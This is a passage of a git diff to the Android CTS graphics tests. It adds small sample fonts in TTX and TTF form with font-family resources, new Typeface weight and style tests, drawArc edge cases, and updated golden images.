+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="1em" width="1000" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="1em" />
+      <map code="0x0062" name="3em" />
+      <map code="0x0063" name="1em" />
+      <map code="0x0064" name="1em" />
+      <map code="0x0065" name="1em" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/c3em.ttx b/tests/tests/graphics/assets/c3em.ttx
new file mode 100644
index 0000000..f5ed8e5
--- /dev/null
+++ b/tests/tests/graphics/assets/c3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="1em"/>
+    <GlyphID id="2" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="1em" width="1000" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="1em" />
+      <map code="0x0062" name="1em" />
+      <map code="0x0063" name="3em" />
+      <map code="0x0064" name="1em" />
+      <map code="0x0065" name="1em" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
index aeea02c..1379e48 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
@@ -17,6 +17,7 @@
 
 #define LOG_TAG "SyncTest"
 
+#include <errno.h>
 #include <poll.h>
 #include <unistd.h>
 
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
index 38339b7..32a7516 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
index be487d1..6cafa84 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
index 943fce5..b0b6eb5 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
index b46363e..9f60a31 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
index 01c445c..452e3ab 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
index 739eea1..767a3e1 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index 4617f62..859df7e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index 4d6b84d..78ef42b 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index c6540e8..29aee85 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index 491e73e..1c13c30 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index e335a92..f2cb106 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index 57f2ae3..34e0571 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
index e74c181..c9702c9 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
index 7450751..b0af7d4 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
index d010d79..e779718 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
index 5ada060..2fbf79d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
index 5af7090..060c4b9 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
index 24b9662..b8fe74d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
index c9677a6..9e92c8a 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
index 8882a7a..0262e57 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
index 143ce3e..1520397 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
index 9a5efd2..727bb48 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
index 2edc3c7..d68ab90 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_scale_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
index 9822bc2..2830840 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_schedule_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
index d12b142..b5d25be 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_settings_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
index 3936c89..923347d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
index c5d06f6..74c30fa 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_2_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
index 3936c89..923347d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
index c5d06f6..74c30fa 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_state_list_pressed_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
index 2bf7882..c202ffc 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
index 4141d6f..ed31e47 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
index 1212fb3..a32de90 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_stroke_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
index 0717399..66e4e3b 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
index 505aa2e..9aeeeef 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
index 9b53e94..468a1c3 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
index a5d4d33..e4bc055 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_4_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
index 0d8ded1..bb185f2 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_5_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
index 3da7969..02901b6 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_transformation_6_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/font/a3em.ttf b/tests/tests/graphics/res/font/a3em.ttf
new file mode 100644
index 0000000..a601ce2
--- /dev/null
+++ b/tests/tests/graphics/res/font/a3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/b3em.ttf b/tests/tests/graphics/res/font/b3em.ttf
new file mode 100644
index 0000000..63948a2
--- /dev/null
+++ b/tests/tests/graphics/res/font/b3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/c3em.ttf b/tests/tests/graphics/res/font/c3em.ttf
new file mode 100644
index 0000000..badc3e2
--- /dev/null
+++ b/tests/tests/graphics/res/font/c3em.ttf
Binary files differ
diff --git a/tests/tests/graphics/res/font/multistyle_family.xml b/tests/tests/graphics/res/font/multistyle_family.xml
new file mode 100644
index 0000000..2522e72
--- /dev/null
+++ b/tests/tests/graphics/res/font/multistyle_family.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/a3em" android:fontWeight="400" android:fontStyle="normal" />
+    <font android:font="@font/b3em" android:fontWeight="400" android:fontStyle="italic" />
+    <font android:font="@font/c3em" android:fontWeight="700" android:fontStyle="italic" />
+</font-family>
diff --git a/tests/tests/graphics/res/font/multiweight_family.xml b/tests/tests/graphics/res/font/multiweight_family.xml
new file mode 100644
index 0000000..2ed0490
--- /dev/null
+++ b/tests/tests/graphics/res/font/multiweight_family.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+    <font android:font="@font/a3em" android:fontWeight="100" android:fontStyle="normal" />
+    <font android:font="@font/b3em" android:fontWeight="400" android:fontStyle="normal" />
+    <font android:font="@font/c3em" android:fontWeight="700" android:fontStyle="normal" />
+</font-family>
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
index b36c23a..70c3202 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
@@ -1428,6 +1428,12 @@
         // normal case
         mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, false, mPaint);
         mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 11, true, mPaint);
+
+        // special case: sweepAngle >= abs(360)
+        mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, 400, true, mPaint);
+        mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, -400, true, mPaint);
+        mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, Float.POSITIVE_INFINITY, true, mPaint);
+        mCanvas.drawArc(new RectF(0, 0, 10, 12), 10, Float.NEGATIVE_INFINITY, true, mPaint);
     }
 
     @Test(expected=NullPointerException.class)
diff --git a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
index 04d5564..32cdd38 100644
--- a/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/TypefaceTest.java
@@ -52,6 +52,19 @@
     private static final String DEFAULT = (String)null;
     private static final String INVALID = "invalid-family-name";
 
+    private static final float GLYPH_1EM_WIDTH;
+    private static final float GLYPH_3EM_WIDTH;
+
+    static {
+        // 3em.ttf supports "a", "b", "c". The width of "a" is 3em, others are 1em.
+        final Context ctx = InstrumentationRegistry.getTargetContext();
+        final Typeface typeface = ctx.getResources().getFont(R.font.a3em);
+        final Paint paint = new Paint();
+        paint.setTypeface(typeface);
+        GLYPH_3EM_WIDTH = paint.measureText("a");
+        GLYPH_1EM_WIDTH = paint.measureText("b");
+    }
+
     // list of family names to try when attempting to find a typeface with a given style
     private static final String[] FAMILIES =
             { (String) null, "monospace", "serif", "sans-serif", "cursive", "arial", "times" };
@@ -531,4 +544,68 @@
 
         assertTrue(Math.abs(widthFromRegular - widthFromBlack) > 1.0f);
     }
+
+    @Test
+    public void testTypefaceCreate_withExactWeight() {
+        // multiweight_family has following fonts.
+        // - a3em.ttf with weight = 100, style=normal configuration.
+        //   This font supports "a", "b", "c". The weight "a" is 3em, others are 1em.
+        // - b3em.ttf with weight = 400, style=normal configuration.
+        //   This font supports "a", "b", "c". The weight "b" is 3em, others are 1em.
+        // - c3em.ttf with weight = 700, style=normal configuration.
+        //   This font supports "a", "b", "c". The weight "c" is 3em, others are 1em.
+        final Typeface family = mContext.getResources().getFont(R.font.multiweight_family);
+        assertNotNull(family);
+
+        final Paint paint = new Paint();
+        // By default, the font which weight is 400 is selected.
+        paint.setTypeface(family);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+        assertEquals(GLYPH_3EM_WIDTH, paint.measureText("b"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+        // Draw with the font which weight is 100.
+        paint.setTypeface(Typeface.create(family, 100 /* weight */, false /* italic */));
+        assertEquals(GLYPH_3EM_WIDTH, paint.measureText("a"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("c"), 0f);
+
+        // Draw with the font which weight is 700.
+        paint.setTypeface(Typeface.create(family, 700 /* weight */, false /* italic */));
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("a"), 0f);
+        assertEquals(GLYPH_1EM_WIDTH, paint.measureText("b"), 0f);
+        assertEquals(GLYPH_3EM_WIDTH, paint.measureText("c"), 0f);
+    }
+
+    @Test
+    public void testTypefaceCreate_withExactStyle() {
+        // multiweight_family has following fonts.
